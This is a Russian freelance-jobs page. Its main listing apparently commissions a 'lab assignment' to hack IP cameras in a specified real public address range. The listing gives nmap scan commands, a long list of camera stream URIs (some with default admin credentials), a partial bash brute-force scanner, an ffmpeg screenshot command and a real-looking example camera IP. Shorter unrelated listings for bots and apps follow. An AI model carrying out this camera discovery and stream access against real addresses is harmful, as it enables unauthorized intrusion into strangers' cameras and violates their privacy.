Блог
Строительство и ремонт
Репетиторы
Красота
Фрилансеры
Разные специалисты
Уход за животными
Тренеры
Автоинструкторы

Программисты — удалённая работа в Москве

Дата: 2025-06-04
Детали
Регион
Москва
Занятость
дистанционно
Стоимость
договорная
Дата публикации
2025-06-04
Описание
Системное программирование. Доработка существующего продукта. Лабораторная работа на тему «Развертывание Docker контейнера Kali Linux для идентификации IP-камер и перебора URI видеопотоков», нам необходимо взломать камеру из указанного диапазона IP-адресов ²¹² ¹¹⁴ ²²² ⁰ / ²⁴) и сделать скриншот с камеры. Следует использовать nmap, fmpeg и curl. Вы можете сделать в Termux или Linux, а не именно в контейнере Docker. Как вам угодно) 1. Сканирование портов nmap -Pn -p <порты> ²¹² ¹¹⁴ ²²² ⁰ / ²⁴ -oN nmap_results.txt 2. Создать файл uris.txt (URI) /mjpg/video.mjpg /videostream.cgi?user=admin&pwd= /jpgmulreq/1/image.jpg?key=1516975535684&lq=1&COUNTER /cgi-bin/camera?resolution=640&quality=1&Language=0&COUNTER /webcapture.jpg?command=snap&channel=1?COUNTER /-wvhttp-01-/GetOneShot?image_size=640x480&frame_count=1000000000 /SnapshotJPEG?Resolution=640x480&Quality=Clarity&COUNTER /snap.jpg?JpegSize=M&JpegCam=1&r=COUNTER /oneshotimage1?COUNTER /cgi-bin/faststream.jpg?stream=half&fps=15&rand=COUNTER /?action=stream /jpg/image.jpg?COUNTER /out.jpg?q=30&id=0.1317044913727916&r=COUNTER /img/video.mjpeg /__live.jpg?&&&COUNTER /axis-cgi/mjpg/video.cgi?camera=&resolution=640x480 /cam_1.cgi /GetData.cgi?CH=1 /nph-jpeg.cgi?0 /asp/video.cgi /cgi-bin/viewer/video.jpg?r=COUNTER /tmpfs/auto.jpg?COUNTER /image?speed=0 /cgi-bin/snapshot.cgi?chn=0&u=admin&p=&q=0&COUNTER /image/Index?time=0 /video/mjpg.cgi /onvif/snapshot/1/11 /cgi-bin/snapshot.cgi?COUNTER /mjpeg.cgi # добавить ещё другие распространенные URI 3. Создание скрипта scan_cams.sh (требует доработки) # Файл с IP-адресами (результаты Nmap) IP_FILE=“nmap_results.txt“ # Файл со списком URI URI_FILE=“uris.txt“ # Лог-файл LOG_FILE=“cam_log.txt“ # Функция для проверки IP-адреса и URI check_camera() {   IP=“$1“   URI=“$2“   echo “Проверка $IP$URI“   # !!!! ВАША РЕАЛИЗАЦИЯ !!!!!   if [ $? -eq 0 ]; then       # !!!! ВАША РЕАЛИЗАЦИЯ !!!!!       echo “Cтатус камеры $STATUS“       if [[ “$STATUS“ == *“200 OK“*  “$STATUS“ == *“401 Authorization Required“*   “$STATUS“ == *“501 Not Implemented“*]]; then           TG_URL=“${IP}${URI}“           echo “Потенциальная камера: ${TG_URL}“           ffprobe ffprobe  -hide_banner “${TG_URL}“       fi   fi } # Получаем IP-адреса из файла (нужно адаптировать под формат вывода Nmap) while IFS= read -r line; do   # Ищем строки, содержащие IP-адрес и статус “open“ для одного из целевых портов   # !!!! ВАША РЕАЛИЗАЦИЯ !!!!!; then       IP=$(echo “$line“ | awk '{print $2}')       # Извлекаем IP-адрес и порты         # Читаем URI из файла и проверяем каждый         while IFS= read -r uri; do           check_camera “$IP“ “$uri“         done < “$URI_FILE“   fi done < “$IP_FILE“ echo “Сканирование завершено. Результаты в $LOG_FILE“ Важно!!! Этот скрипт требует дороботки с вашей стороны curl -m 1 -Is: curl с параметрами: -m 1: Таймаут 1 секунда. -I: Запрашивает только заголовки HTTP. -s: Тихий режим. grep “HTTP/“: Проверяет, что получен HTTP-ответ. $? содержит код возврата последней команды. 200 OK, 401 Authorization Required и 501 Not Implemented: Наиболее вероятные коды ответов для IP-камер. В результате сканирования должны быть найдены потенциальные url видеопотока например: Например 130.180.105.226 по 8080 с uri '/jpg/image.jpg?COUNTER': Video: mjpeg (Baseline), yuvj420p(pc, bt470bg/unknown/unknown), 1280x720 [SAR 1:1 DAR 16:9], 25 fps, 25 tbr, 25 tbn Запуск скрипта: chmod +x scan_cams.sh ./scan_cams.sh 4. Захват скриншота видеопотока: Выберите IP-адрес и URI из cam_log.txt. Запустите ffmpeg ffmpeg -i “http://<IP>:<PORT>/<URI>“ -vframes 1 snapshot.jpg Вы отправляете скриншот каждого шага, я вставлю его в отчет. Нам нужно сделать это сегодня к 14:00. Я пытаюсь уже четыре дня, но у меня не получается.
Похожие заказы
Программисты
дистанционно
договорная
Веб-разработка. Разработка с нуля. Ключевые элементы концепции Регистрация и персонализация При входе каждый участник проходит простую регистрацию, заполняя подробную анкету. Выбранная цель пребывания на платформе определяет дальнейшие возможности: будь то общение в сообществе, совместное творчество или обучение музыкальному мастерству. Система рекомендаций и сетевого взаимодействия Пользователи получают персональные рекомендации о других участниках площадки исходя из указанных ими предпочтений и целей. Если кого-то заинтересовала личность другого артиста, достаточно поставить лайк и продолжить взаимодействие в чате, создав основу для совместного проекта или творческого союза. Уникальные мероприятия в Метавселенной Регулярные виртуальные встречи в виде онлайн-концертов позволят пользователям демонстрировать свои таланты перед широкой аудиторией. Специальные интерактивные мероприятия с открытым микрофоном предоставляют шанс каждому музыканту заявить о себе и испытать себя на большой сцене, предварительно подав заявку на участие. Обучение и развитие Раздел образовательных курсов включает доступ к уникальным материалам, помогающим развивать профессиональные навыки и знания в области музыки и смежных искусств. Для мотивации введены игровые механики, основанные на выполнении заданий, стимулирующие активное участие и посещаемость мероприятий. Партнёрство и поддержка экспертов Совместно с ведущими проектами по поддержке творческих ребят в Челябинской области мы предоставляем нашим артистам дополнительные образовательные ресурсы и возможности карьерного роста. «Наше место» проводит множество творческих событий с привлечением медийных артистов, которые могут стать менторами и наставниками в том числе и в нашем проекте. Творческие проекты «Третьяковка» и «Российская студенческая весна» при сотрудничество с организаторами может помочь привлечь нашу целевую аудиторию на платформу для музыкантов. Также здесь мы можем найти кураторов и активистов для проекта. Наставничество и профессиональное развитие Несколько раз в год участники смогут подать заявки на получение индивидуальной консультации от профессиональных менторов. Заявка должна содержать подробное описание своего проекта и портфолио работ. Оценивая идеи исключительно по содержанию, менторы выбирают наиболее перспективные начинания и берут лучших авторов под свое крыло, обеспечивая личное сопровождение и поддержку в развитии таланта. Ключевые элементы концепции Регистрация и персонализация При входе каждый участник проходит простую регистрацию, заполняя подробную анкету. Выбранная цель пребывания на платформе определяет дальнейшие возможности: будь то общение в сообществе, совместное творчество или обучение музыкальному мастерству. Система рекомендаций и сетевого взаимодействия Пользователи получают персональные рекомендации о других участниках площадки исходя из указанных ими предпочтений и целей. Если кого-то заинтересовала личность другого артиста, достаточно поставить лайк и продолжить взаимодействие в чате, создав основу для совместного проекта или творческого союза. Уникальные мероприятия в Метавселенной Регулярные виртуальные встречи в виде онлайн-концертов позволят пользователям демонстрировать свои таланты перед широкой аудиторией. Специальные интерактивные мероприятия с открытым микрофоном предоставляют шанс каждому музыканту заявить о себе и испытать себя на большой сцене, предварительно подав заявку на участие. Обучение и развитие Раздел образовательных курсов включает доступ к уникальным материалам, помогающим развивать профессиональные навыки и знания в области музыки и смежных искусств. Для мотивации введены игровые механики, основанные на выполнении заданий, стимулирующие активное участие и посещаемость мероприятий. Партнёрство и поддержка экспертов Совместно с ведущими проектами по поддержке творческих ребят в Челябинской области мы предоставляем нашим артистам дополнительные образовательные ресурсы и возможности карьерного роста. «Наше место» проводит множество творческих событий с привлечением медийных артистов, которые могут стать менторами и наставниками в том числе и в нашем проекте. Творческие проекты «Третьяковка» и «Российская студенческая весна» при сотрудничество с организаторами может помочь привлечь нашу целевую аудиторию на платформу для музыкантов. Также здесь мы можем найти кураторов и активистов для проекта. Наставничество и профессиональное развитие Несколько раз в год участники смогут подать заявки на получение индивидуальной консультации от профессиональных менторов. Заявка должна содержать подробное описание своего проекта и портфолио работ. Оценивая идеи исключительно по содержанию, менторы выбирают наиболее перспективные начинания и берут лучших авторов под свое крыло, обеспечивая личное сопровождение и поддержку в развитии таланта.
Москва
Фрилансеры
2025-06-12
Откликнуться
Внедрение ИИ
дистанционно
договорная
Пожелания и особенности: Нужно сделать два дз по предмету ИИ для построения личного бренда и контент-маркетинга до 14.06.2025, в сотрудничестве со мной. В личной беседе я предоставлю всю необходимую для работы информацию. Одно из них: «Домашнее задание № 1 Публикация статьи или видео о себе/своем проекте Цель: научиться использовать ИИ для генерации и редактирования текстов, опробовать SEO-подходы на практике и разместить свой контент на площадках, индексируемых поисковыми системами. Это помогает прокачать личный бренд и начать его продвигать в публичном поле. 1. Инвентаризация экспертизы: Проведите интервью с собой с помощью нейросети о себе или своем проекте: в чем суть, почему это важно, какие есть результаты и планы. Сформулируйте ключевые тезисы и выводы. 2. Создание контента: Используйте нейросети для: — написания статьи от первого лица; — генерации заголовков и подзаголовков; — подбора ключевых слов для SEO. — проверьте и отредактируйте статью: сделайте акцент на вашем подходе, ценностях, инсайтах. — приложите несколько изображения (можно сгенерированные или свои фото/прототипы). Для сдачи ДЗ материал и сопроводите его коротким комментарием: какой ИИ использовался, какие выводы сделали при подготовке. Второе: Домашнее задание № 2 Короткий вертикальный видеоформат для продвижения вашего проекта или портфолио Цель: Освоить инструменты ИИ для генерации короткого, цепляющего видеоконтента и понять специфику его дистрибуции на разных платформах. 1. Формулировка идеи: — Определите главную мысль (что именно вы хотите донести). — Придумайте сценарий ролика, желательно с помощью нейросети 2. Создание видео: — Используйте ИИ для генерации сюжета/видео/аудио/субтитров и т. д. — Рекомендуемый хронометраж: 15–60 секунд. 3.— Добавьте описание к видео (заголовок/хэштеги/ссылка на проект при наличии). Сдайте мини-отчет: что использовалось из ИИ, какие выводы вы сделали.
Москва
Фрилансеры
2025-06-12
Откликнуться
Разработка ботов Telegram
дистанционно
договорная
Задачи чат-бота: приём текстовых заказов. Продукт: Бьюти телеграм канал. Техзадание есть. Нужен не сложный бот, при написании которому сообщения будут отправляться в чат с администраторами. Бот принимает от пользователей сами текстовые сообщения, а также - фото видео, аудио и файлы. При получении сообщения в чат с администраторами, у них есть кнопка «Дать ответ» при нажатии которой они могут написать ответ, и он отправится пользователю
Москва
Фрилансеры
2025-06-12
Откликнуться
Разработка ботов Telegram
дистанционно
договорная
Задачи чат-бота: финансовые операции. Продукт: Телеграмм бот обменника крипты и больше. Техзадания нет. Пожелания и особенности: Сначала обменник крипты но через месяц или пол месяца надо будет добавлять покупки связки p2p потом еще добавить p2p покупка продажа крипты где люди могут делать объявление , но с начало только обменник.
Москва
Фрилансеры
2025-06-12
Откликнуться
Программисты
дистанционно
договорная
Разработка мобильных приложений. Разработка с нуля. Приложение: кроссплатформенное. Устройства для масштабирования: смартфоны. Разработка трекера для отслеживание действий импорта автомобилей.
Москва
Фрилансеры
2025-06-12
Откликнуться
Программисты
дистанционно
договорная
Разработка приложений для ПК. Доработка существующего продукта. Пожелания и особенности: Необходимо обновлять ворд, эксел, криптопро. Привести в целом в порядок компьютер для нормальной работы.
Санкт-Петербург
Фрилансеры
2025-06-12
Откликнуться
Разработка ботов Telegram
дистанционно
договорная
Задачи чат-бота: интерактивное меню или каталог, информирование клиентов, финансовые операции, сбор информации. Продукт: Монтаж кровли. Техзадание есть.
Москва
Фрилансеры
2025-06-12
Откликнуться